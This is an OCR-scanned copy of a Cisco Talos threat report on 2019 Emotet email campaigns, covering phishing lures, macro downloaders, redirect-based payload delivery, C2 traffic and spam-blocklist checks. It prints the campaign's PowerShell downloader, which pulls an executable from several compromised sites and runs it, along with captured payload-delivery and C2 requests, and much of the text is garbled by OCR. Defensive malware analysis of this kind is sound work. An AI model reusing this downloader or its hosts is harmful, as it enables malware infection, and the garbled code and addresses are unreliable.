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Emotet re-emerges after the holidays
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While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild,
that doesn't mean attackers don't try to freshen it up. Cisco Talos recently discovered several new campaigns
distributing the infamous banking trojan via email. These new campaigns have been observed following a period
of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain
geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments

with embedded macros that download Emotet.

This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent
from is already blocklisted on a spam list. This could allow attackers to deliver more emails to users' inboxes

without any pushback from spam filters.

Emotet Overview

Emotet is one of the most widely distributed and actively developed malware families on the
crimeware landscape today. It is a highly modular threat with a variety of payloads being
delivered. Emotet began purely as a banking trojan, but over the years, has continued to evolve
and more recently, has been associated with some larger-scale targeted Ryuk ransomware
infections. The primary infection vector remains malicious emails sent as part of widespread
spam campaigns. Emotet is commonly delivered via both macro-laden office documents, as well as

URL-based spam messages that lead to an eventual infection. These campaigns change and evolve
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daily, and the supporting infrastructure also changes on a near constant basis. It's not uncommon

to see Emotet reuse of some of the command and control (C2) servers over more extended periods.

The goal of Emotet, as is the case with crimeware-based threats, is monetary. Attackers use Emotet to deliver
modular payloads it can use to monetize infections. Those payloads can include threats like banking trojans,
stealers, self-propagation, email harvesters and ransomware. The modules the attackers deploy are likely chosen

based on the way they can best monetize infected systems and the environments in which those systems reside.

Current Campaign Details
There are multiple active campaigns currently delivering Emotet. These campaigns are occurring
in two different varieties. The first is a simple email with a Word document attached. An example

of one of these emails is shown below.

ir Amazoncom & B Inbox T —
Invoice number 64547 lwl

To:

FILE-84547.doc

==-0riginal Appointmeant-----
Sant: Friday, January 11, 2019 08:57
From: "™ < =

To: “Amazoncom” < -
Subject: Re: ...

[

FILE-64547.doc

One thing that Emotet typically does reasonably well is mutating the subject lines so that a large number of emails
with identical subject lines are rarely seen during distribution. These campaigns are no exception — we have seen
various subject lines focusing primarily around invoices and package deliveries. The emails also use different
languages. Below you can see an example of one of the German language campaigns that are ongoing. This
example also shows the second type of campaign, leveraging a direct URL download instead of Office documents

with macros that fetch the malware.
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@ nTni uldaniiy Yesterday at 11:13 Ph _
Re: AW: SEPA Lastschriftmandat v
To:

Guten Tag ,

ab dem 15.01.201% andert sich mein Bankkonto aufgrund einer neuen Bankinstitution.
Daher bitte ich Sie den Betrag von 2.992 41 ab dem 15.01.2019 von folgendemKonto abzubuchen

httpfwww lassmedar-service.com/BYTVYPDJIGYAR152756/Bastellungen/BECH

15170l nlaawniie

DKB Deutsche Kreditbank Ag

IBAN: DES9 4550 3473 93533 4930 28
BIC: BYLADEM1001

Mit freundlichen Griken
5ol nlaawaiie

----- Urspriingliche Machricht-----
“an ™ < -
"Giesendel:® Freitag, 11.Januar 2019 um 08:13
“an:* "arngel wamaiie < -
*Betreff:* Re: 15050l wdaniie Rechnung ...........

Once a user opens the email message and opens the attachment or clicks the link, malware is downloaded to the
system using either code embedded in the attachment or directly from the website in the case of URL-based

emails.

Malicious code embedded in the malicious attachment functions as a downloader for the Emotet malware. When
this code is executed, PowerShell is invoked, which reaches out to the Emotet malware distribution server,

downloads the malicious payload, and executes it, thus infecting the system.

powershell $Californiara="MoviesOutdoorssp';$methodologyjj=new-object Net.

WebClient; $ParsonalloanAccountha="htt W . unitepro. mxs PyZTGC_yPRY@x ik@aFT@http: S/ www.nkalitin.
ruf3ghp_FESB5_77azu@http://www.jessie-equitation. fr /H4Nn2_X736_ajROTy@http: //www. lidstroy.
rufadfdl_tnvFDCCahttp: /, Wi, Kartonaza-hudetz.hr, LERDIp_zNxmr_9A26°' .Split('@")
:3depositpd="Bedfordshirew]';$Incredibleqm =

'589';$brandbu="Liaisonj $ToolsIndustrialBooksit=%env:public+'\'+$Incrediblegm+".exe’; foreach(
$hapticom in $PersonalloanAccounthal{try{$methodologyjj.DownloadFile($hapticom, $ToolsIndustrialBooksit)
i3SwissFranczh="bluetoothio® ;If ((Get-Item $ToolsIndustrialBooksit).length —ge 8@e@e) {Invoke-Item
$ToolsIndustrialBooksit;$supplychainsoh="compressinghz';break;}}catch{}}4Forwardji="indexingjd";

In the screenshot above, you can see that the script is configured with multiple URLs that can be used to download
the PE32 executable associated with Emotet. This provides resiliency, as the downloader can iterate through the

list in the case that some of the URLSs are no longer available due to takedown or compromised site cleanup.

The malware is overwhelmingly hosted on compromised websites. These sites are then leveraged as random
hosting locations for the campaigns to leverage. One unusual thing we have observed recently is the use of HTTP
301 redirects. The initial URL is requested with a connection keep-alive in the header. This initial HTTP request is

met with a 301 pointing back to the same URL. This second request results in the malware being delivered and the
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header no longer includes the keep-alive. The reason for the 301 redirection and second request are currently
unknown since browsing directly to the URL results in the malware being returned. Below is an example of the

behavior.

GET /20clggZ_Sh26fUL_fPrge HTTR/1:1
Host: waw. Araucarya.com
Connectian: Keep-Alive

HTTP/1.1 301 Moved Permanently

Set-Cookie: mailplanBAK=R2555569905; path=/; expires=Tue, 15-Jan-2019 @4:37:35 GHT
Date: Tue, 15 Jan X810 @3:33:23 GMT

Content-Type: textfhiml; charset=isc-8859-1

Content-Length: 255

Set-Cookie: mallplan=R243496378; path=/; espires=Tue, 13-Jan-2819 Bd4;49:47 GMT
Saryver: Apache

Location: hitp://www.araucarya.con20c8gg2_Sh26TUL_TProcs

X-IPLE-Instance: 17382

<IDOCTYPE HTML PUBLIC “=/fIETF//0TD HTHML Z.8//EN"=>

=himl=<head=

=title=381 Moved Permanentliy=/title=

= head=<body=

=hl>Moved Permanently=</hl=

=p=The dacument has moved =a href="http:/ W, araucarya. con/20c3gqZ_Sh2atUl_fPrgc/"=here=/a=.</p=
=/body==/html=

GET /20c8ggZ_Sh2eful_tPrgcs HTTRSL.1

Host: www. araucarya.com

HTTF/1.1 28R 0K

Set=Cookie: mailplanBAK=RZS55567727; path=/; expiress=Tue, 15=1an=2019 @4:39:41 GHT
Date: Tue, 15 Jan ZFB19 93:32:323 GMT

Comtent=Type: applicationfoctet=stream

Transfer-Enceding: chunked

Set=Cookie: mailplan=R243496278; path=/; expires=Tue, 15=Jan=2@19 B4:44:09 GMI
Server: Apache

X-Powered=By: PHP/5.3

Expires: Tue, #1 Jan 1978 DR:@@:80 GMT

Cache-Control: no-store, no-cache, must-revalidate, max-age=8, post-check=8, pre-check=a8
Pragma: mo-cache

Content-Disposition: attachment; filename="KINBIgh_hlgY.exe"
Content-Transfer-Encoding: binar

Last-Modified: Tue, 15 Jan 2819 @3:32:23 GMT

X-IPLE-Instance: 17383

MZ i isaacernsaasaanssaassBeccsaancnssasnassnnaasnnssrassansnssasnnssasa «laal.!This program cannot be run in DOS made.

After initial installation, the C2 capabilities begin. Emotet connects to C2 servers on various ports including, but
not limited to: 20, 80, 443, 7080, 8443, and 50000. Typically, this all occurs using HTTP traffic to hard-coded IP

addresses similar to what is shown below:

GET / HTTPS1.1

Copkip: A2246=brmMCTLdv+{(pb2 ¥Ry 11Fal2 LZunWGhz 800, UUn )y jRERSxD/ f faul ad 3NSDHI 1 GxBnPAf QA

CsFPoad T IwlEL oMY NV ocKhpsDnay tEYESVRFgWATS JXONTHD rne TYWH TYRtidl M-Innli-g AR OO ImOFgaNF © TTHTYCL MEFngNEDUFID SN

+HU4mBY f 150V 2 f2Xeyy BSGRO1CI+urs83 0Kk 1YKpAqohof 78,7/ udn S 0WE TE/ g bod r TDKh2 0V E eeCIBGYY 1 FEZ 7 ) Lyad+UNctxMby 35 126 12 FHhDd /
GixBrifFI3HyuRI+RvAGE Sqqev0C oIy 3ax fLEMAVEMD YA F cHGFcebhaDDT JgYeuGt iEaBc INOhkQSecAHBP 9/ TRaS INvnc j LILk=

User-Agent: Mozillasd.# {compatible; MSIE 7.0; Windows NT 6.1; WOWGS; Trident/7.8; SLCC2; MET CLR 2.8.58727; .NET (LR 3.5.30725;
MET CLR 3.8.38729; Media Center PC B.B; .NET4.80; .NETA4.@E; InfoPath.3; .MET CLR 1.1.4322)

Host: 187.287.58.148:38

Connectiaon: Keep-&live

Cache-fontrol: no-cache

HTTP/1.1 288 DK

Server: nginx

Date: Tue, 15 Jan 2010 13:24:49 GHT
Content-Type: text/himl; charset=UTF-8&
Content-Length: 1HE8EE4

Connection: keep—alive

The above example demonstrates HTTP running on port 20 to one of those hard-coded IP addresses. There have
been some more recent behavior changes, specifically around the spamming module of Emotet. Talos has
observed recent runs of Emotet checking if the compromised system's IP address is currently found on many
spam-related blocklists including those hosted by SpamCop, Spamhaus, and SORBS, among others. Below is a

snippet from a ThreatGrid report that demonstrates the email blocklist queries.
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This is just the latest in a long line of near-constant improvements made to Emotet. It is still under constant
development with new features being tested and rolled out on a continual basis. This development is one of the

reasons why we see it being distributed so widely.

Conclusion

These modular malware families like Emotet are going to continue to increase in
popularity as time goes on. Monetization is the name of the game when it comes to
crimeware and having a malware family that can deliver multiple, disparate
payloads are going to be increasingly attractive for those looking for nefarious
monetary gain. As shown by the recent blocklist checking for the spamming
module, Emotet is looking to maximize that financial gain whenever possible, and
at the same time, minimize payloads that will have little return on investment. It's
these types of changes that will continue to keep Emotet near the top of the

crimeware landscape.

Coverage

Additional ways our customers can detect and block this threat are listed below.
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AMP

CloudlLock

WS

Email Security

Metwork Security

Ihreat Lrid

Umbrella

=
Wea

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these

threat actors.

Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious

websites and detects malware used in these attacks.
Email Security can block malicious emails sent by threat actors as part of their campaign.

Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention

System (NGIPS), andMeraki MX can detect malicious activity associated with this threat.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs,

whether users are on or off the corporate network.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack

available for purchase on Snort.org.

Indicators of Compromise
A list of Indicators of Compromise (IOCs) associated with these campaigns can be

obtained here.

Source: https://blog.talosintelligence.com/2019/01/return-of-emotet.html

Page 6 of 6


https://www.cisco.com/c/en/us/products/security/advanced-malware-protection
https://www.cisco.com/c/en/us/products/security/cloud-web-security/index.html
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/email-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/firewalls/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://www.cisco.com/c/en/us/products/security/intrusion-prevention-system-ips/index.html
https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/solutions/enterprise-networks/amp-threat-grid/index.html
https://umbrella.cisco.com/
https://www.snort.org/products
https://talosintelligence.com/documents/64

